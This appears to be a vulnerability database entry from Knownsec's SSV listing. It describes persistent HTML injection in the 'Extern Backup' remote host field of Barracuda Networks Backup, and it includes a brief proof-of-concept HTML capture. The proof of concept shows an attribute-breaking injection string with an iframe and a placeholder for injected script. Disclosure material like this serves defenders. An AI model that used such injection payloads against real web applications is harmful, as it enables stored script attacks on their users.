Barracuda Networks Backup 'Extern Backup' HTML注入漏洞

Basic Fields

SSV ID:: SSV-61622

Find Time:: Unknown

Submit Time:: 2014-03-03

Level:

Category:: Cookie 验证错误

Component:: Barracuda Spam Firewall

Author:: Unknown

Submitter:: Knownsec

CVE-ID：: Add

CNNVD-ID：: Add

CNVD-ID：: Add

ZoomEye Dork：: Add

Source

Detail

Contributor Knownsec Got 0KB

have 0 exchange

PoC (非 pocsuite 插件)

Contributor Knownsec totally have 0.25KB

<div class="fieldGroupInfo">You can optionally choose a Backup Server from your account to load the required info automatically, or enter it manually.</div> <div class="fieldGroupError"></div> </div> <div class="replication_wrapper"> <div class="fieldGroup statusError"><label class="ultraform_label">Ziel-IP-Adresse:</label> <span><div class="alba-placeholder" style="position: absolute; background: none repeat scroll 0% 0% transparent; border-color: transparent; border-style: solid; height: 17px; width: 241px; padding: 2px 3px; font-size: 13px; font-family: Arial,'Liberation Sans',FreeSans,sans-serif; font-weight: 400; font-style: normal; letter-spacing: normal; line-height: 16px; text-align: start; text-decoration: none; border-width: 1px; vertical-align: middle; cursor: text; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; -moz-user-select: none; color: rgba(0, 0, 0, 0.35); top: 79px; left: 268px; display: none;"> Ziel-Hostname oder IP-Adresse</div><input _placeholder="Ziel-Hostname oder IP-Adresse" size="35" name="remote_host" value="">"<iframe src=a>%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!];) <" content_source="" id="remote_host" type="text"> </span><span class="fieldGroupStatus"> </span> <div class="fieldGroupInfo">Geben Sie die IP-Adresse oder den Hostnamen des Ziel-Backup-Servers ein. Die Adresse muss von diesem Backup Server aus erreichbar sein. Alternative Portnummern können angegeben werden. Beispiel: 192.168.1.2:5001</div> <div class="fieldGroupError">Sie haben keine Erlaubnis zum Hinzufügen oder Editieren von Ziel-Backup-Servern.</div> </div>